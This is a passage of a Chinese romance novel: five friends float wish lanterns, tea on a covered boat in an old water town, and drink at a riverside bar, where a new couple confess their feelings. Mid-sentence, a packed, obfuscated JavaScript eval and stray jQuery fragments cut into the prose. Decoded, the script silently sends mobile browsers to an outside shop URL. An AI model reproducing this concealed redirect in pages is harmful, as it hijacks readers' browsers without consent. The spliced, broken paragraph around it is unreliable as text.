一行人到达卖河灯的摊位,几个摊子前都挤满了人。
“怎么这么多人?”苏亦晴嘟囔。
附近摊位的老板娘刚好在,耳朵灵,听见后探出头来:“旁边的摊子都是我们的,可以自取,灯和笔都有,二维码就在上边,一个十块。”
几人挑了一个人稍微少一点的摊位,扫码支付五十块,拿了五个河灯,一旁放的笔有毛笔、油性笔。
大多数人选择油性笔,比较方便,但是用的人多了,容易写不出颜色。
毛笔写在灯上更好看些,但是要自己研墨。他们一连试了好几支油性笔,都已经不出水了。
陈晓园自告奋勇:“我来研墨,我已经想好愿望了。”
其余四个人一人拿了一支笔,开始写自己的愿望。
何喻涵将笔抵在下巴处,绞尽脑汁。
平心而论她这一路都还挺顺利的,什么事都靠自己完成得不错,要说愿望好像没什么愿望。
她突然想到自己之前刷到的一部电视剧,里面有一句台词她很喜欢,也符合她当下的心境。
身边有朋友、有爱人。
下定决心后,她郑重地用毛笔蘸了墨,然后写上:希望我身边的人都能平安、健康。
落完笔,何喻涵看到傅翊庭也写完了,好奇地正向她看来,她很大方地把自己的愿望给他看。
“我也看看你的。”何喻涵把头伸到傅翊庭的河灯前。
看完何喻涵河灯内容的傅翊庭立马把自己写的河灯藏起来了。
“你写了什么,怎么不给我看?”
傅翊庭越躲,何喻涵越好奇,她追着他手里的河灯打起了转。
“何喻涵。”傅翊庭把自己的河灯举过头顶,阴测测地叫她,“你写愿望的时候一点儿也没有想过我吗?”
“有呀有呀,你就是我身边的人,只不过我比较贪心嘛。”何喻涵嘿嘿一笑,底气不足的样子。
“所以我不给你看。”傅翊庭手一直举着,不愿意放下,“我光想着你了。”
何喻涵听完更想看了:“给我看看吧,傅翊庭,你写什么了。”
傅翊庭个子高,他铁了心要把手举着,何喻涵怎么也看不着。
其他三个人也把愿望都写完了,嚷嚷着要去河边放灯。
将愿望写在灯上,漂远了愿望就能成。
何喻涵端着自己的灯走到河边,傅翊庭就跟在她后面半步,她蹲下来的时候,傅翊庭也蹲下来,两个人挨得很近,近到何喻涵能闻到他身上淡淡的香味。
她把灯轻轻放在河面上,灯先是打了个旋,然后慢慢地朝河心漂去。傅翊庭也把自己的灯放了下去,两盏灯一前一后,在墨色的河面上漂得很近。
何喻涵趁着这个时候,赶紧认真地去探查他到底写了什么。
可惜夜晚太黑,总是看得不真切。
“和何喻涵……一直……”
什么呀,一直什么?
何喻涵还在盯,但是河灯也好像有思想一样,偏不如她所愿,另外一面的字怎么也看不到。
傅翊庭提了提她的毛呢外套的帽子,让她起身。
然后手指微微一动,反过来把她的手包在掌心里,掌心干燥温热。
“和何喻涵一直在一起。”傅翊庭温声说,“这是我的愿望。”
河面上,五盏灯已经漂出了很远。苏亦晴和许东晟的那两盏缠在一起,转着圈往前漂。
何喻涵和傅翊庭的两盏灯挨得很近,一前一后,不急不慢。
陈晓园的那盏漂在最前面,烛火最亮,也最稳,像领航的灯塔一样,稳稳当当地往黑暗中去了。
此情此景,苏亦晴忍不住大声感慨:“好浪漫啊!”
何喻涵也重复了一遍,但她是看着傅翊庭说的,漾着幸福的笑容。
“好浪漫呀!”
傅翊庭知道她是在取笑他,那又怎样?
他的愿望就只有这个。
五盏灯越漂越远,烛火变成了五个小小的光点,在夜色里明灭不定。
河水无声地流淌,载着这些愿望,穿过石桥,绕过老树根,往更远处去了。
……
第二天早上,冬日的太阳躲了起来,不见了踪影,何喻涵打开窗嗅了一嗅,空气中有股潮湿的水汽味。
昨夜好像下了点小雨,青石板路湿漉漉的。一眼望去整个古镇像是被一层薄雾裹着,颇有些烟雨江南的韵味。
他们本就是临时起意,没什么计划,昨天也是晚上才到,他们决定今天再去外面逛逛,拍拍照片。
古镇的主街热闹非凡,像一锅沸腾的水,待久了有些感官过载。
他们在一些经典的打卡点拍了拍照片,就有些累了。
“要不我们去游船吧,包一艘船,在上面喝喝茶,看看风景好了。”陈晓园提出建议。
众人也走得腿酸,都支持了这个提议。
船夫正坐在岸边的竹椅上休憩,见到人来了立马站起上工。
一艘乌篷船刚好能坐下五个人,岸边的乌篷船窄而长,船身是木制的,深褐色,船篷用竹条编成,刷了一层桐油,泛着暗暗的光泽。
在薄雾中像是仙境一般。
陈晓园胆子大,一个跨步就上去了,船身晃了一下,她打了个趔趄,后怕地说:“你们上船小心点,会晃。”
苏亦晴也跃跃欲试,陈晓园赶紧来到船边扶她,给她借了点力。
很快,苏亦晴和许东晟也都上了船。
要到何喻涵了,陈晓园却转头就走,边走拉着苏亦晴说:“哎呀,我们三个先去找位置坐吧,他俩自己能上来。”
为了给这两个刚在一起的情侣找机会多接触,她也真是煞费苦心。
岸边的两人哪会不懂。
傅翊庭笑了一下,说:“晓园学姐还真是有意思。”
何喻涵打量了他一眼,没好气地说:“谁叫你贿赂得那么到位?”
她还在对昨天的红包耿耿于怀。
拿两百块买断自己的傻照,他还真是干得出来。
傅翊庭抬脚上了船,稳稳当当地。
他转身向何喻涵伸出了手:“下次我一定听你的,只听你的。”
何喻涵边把手交到他手里,边说:“我不信,那你把照片删了。”
傅翊庭顺势将她环抱在自己怀里,贴着她的耳朵说:“可是真的很可爱,我舍不得删。”
说好的听话呢?撒娇就能解决吗?
何喻涵撇撇嘴,嗔怒地看了他一眼,控诉着他骗人。
乌篷船里空间不小,五个人分坐两侧,中间是一个方形的木头桌子,上面有围炉煮茶的用具,还有一些瓜子、开心果、乌梅干,供喝茶的人食用。
船夫拿着竹篙在石堤上一撑,船便悠悠地荡了出去,风从河面吹来,带着水的凉意。
许东晟把炉子烧开,架上铁丝网,放上陶壶,开始煮茶。
古镇所在的地方盛产白茶,白茶有种干燥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691350|206153||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的谷物香气,干净的草木味,闻起来沁人心脾。
傅翊庭把粗陶茶杯分发给每个人,等茶水烧制完毕,就可以喝茶水暖身子了。
沿街的风景像水墨画,他们在画中穿梭,品茗,有种平静的幸福。
“这种慢悠悠的感觉好舒服啊,感觉整个人都沉浸在宁静中了。”苏亦晴感慨。
他们五个躲在乌篷船里,像是藏在了不为人知的乌托邦里。
时间就这样一分一秒地流逝,在木船的摇晃中,在湿润的风的吹拂中,在小声的交谈中。
这也许就是度假的意义。
游船结束已经傍晚了,没有提前计划的一行人又犯了难。
陈晓园突发奇想:“刚才在船上,看到好几家沿河的清吧,装修都还挺不错的,我们晚上要不要找一家去坐坐。”
刚好清吧一般也会有西餐,能够解决晚饭,所以大家都觉得这是个好主意。
他们下了船,看到码头旁边刚好就有一家叫“月光渡口”的清吧。
决定就去这家了。
推开木门,进门是一条昏暗的过道,左边是吧台,右边靠墙摆了两张高脚桌。
“里面这么小吗?”陈晓园惊讶。
吧台前擦拭酒杯的小男孩抬起头:“晚上好,往后面走,有位置的。”
吧台尽头有一扇和墙壁颜色融为一体的木门,许东晟伸手一推。
门后是一条窄廊,脚下是碎石子路,两侧种着细竹,竹叶沙沙地响,走了数十步,眼前豁然开朗。
这是一个圆形的下沉式庭院,其中一半的位置被河包围着,抬头一看,月亮正悬于他们头顶,怪不得名字叫月光渡口。
真是来对了。
他们在靠近河的位置选了一个大桌坐下,热热闹闹地点起单来。
除了点了一些简餐小食,他们还点了桂花酿、青梅酒等特色酒,以及几杯调制的莫吉托。
几个人边聊天边用餐,消磨着时光。
饭后,大家开始一杯一杯地喝起了酒,因为今天的旅行让大家都很开心,所以都喝得比平常多了些。
何喻涵转头去看月亮,月亮正挂在天空中央,抬眼望去,河水倒映着月光,波纹细细碎碎的,像有人在河面上撒了一把碎银。
她把目光收回,感觉到自己身上有一股灼热的视线。
傅翊庭看着她,眼睛下方的肌肤已经有点红了,估计是喝酒烧的。
“少喝点。”何喻涵抬手摸了摸他的脸。
傅翊庭感受到她微凉的手心,不仅没有躲,还往掌心里蹭了蹭,就像一只小狗,眼睛也湿漉漉的。
“我很开心。”他抬手握住她的手腕。
“开心什么?”
何喻涵很少看到他这么直抒胸臆。
“大家在一起玩,很开心。”
看来他真是醉了,平常的傅翊庭哪能说出这种话。
何喻涵也是这么想的,今天的她真的有种美好到恍如隔世之感:“我也很开心。”
“还有。”傅翊庭继续嘟囔,又靠近了何喻涵一点。
她轻声问:“还有什么?”
“和你在一起了,我特别特别,特别开心。”
傅翊庭把“特别”两个字咬得很重,整个人看上去严肃了几分。
何喻涵笑弯了眼。
“我也是。”她说。
桌上的手机振动了几下,是新消息。
何喻涵看到备注,随手将屏幕倒扣。